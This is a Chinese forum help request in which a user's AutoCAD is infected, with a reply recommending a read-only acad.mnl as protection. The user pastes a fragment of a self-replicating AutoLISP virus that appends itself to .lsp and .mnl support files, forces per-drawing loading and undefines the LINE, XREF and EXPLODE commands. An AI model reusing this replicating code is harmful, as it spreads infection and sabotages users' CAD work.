CAD打开后出现函数错误

CAD函数打开之后出现以下代码，用的是CAD2004版本 以前没有这种情况 做完图在另一电脑的2007CAD里用过之后 再用这台电脑打开就带这些函数了  360显示6个木马  删除重启后还是有 重新安装了CAD打开还是有  不知道还有什么方法能去掉吗？
e (strcat support "\\" (nth lspn lspfilelist)))
  (setq lspn1 0)
  (while (< lspn1 lspnum)
    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (app lspfilename lspfilename1 bz)
    (setq lspn1 (1+ lspn1))
    );while
  (setq mnln1 0)
  (while (< mnln1 mnlnum)
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (app lspfilename mnlfilename1 bz)
    (setq mnln1 (1+ mnln1))
    );while
  (setq lspn (1+ lspn))
  );while
(setvar "sdi" 1)
(setvar "ACADLSPASDOC" 1)
(command "undefine" "line")
(command "undefine" "_line")
(command "undefine" "xref")
(command "undefine" "_xref")
(command "undefine" "explode")
(command "undefine" "_explode")
(setvar "cmdecho" 1)
(princ)
(load "acadapp")
(princ)
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
  (setq flag nil)
  (setq flag1 t)
  (if (findfile target)
    (progn
      (setq wjm1 (open target "r"))
      (while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
      (close wjm1)
      );progn
    );if
  (if flag1
    (progn
      (setq wjm (open source "r"))
      (setq wjm1 (open target "a"))
      (write-line (chr 13) wjm1) 

估计中毒了 你先重装下CAD然后在C盘打开
C:\Documents and Settings\Administrator\Application Data\Autodesk\AutoCAD 2007\R17.0\chs\Support  把acad.mnl这个文件的属性设置成只读的 要先设置啊 装好CAD做的第一件事就这个 估计以后就不会中acad.lsp、acadappp.lsp和acadapp.lsp之类的病毒了 而且Application Data是隐藏文件 注意啊 要不你找不到Application Data这个文件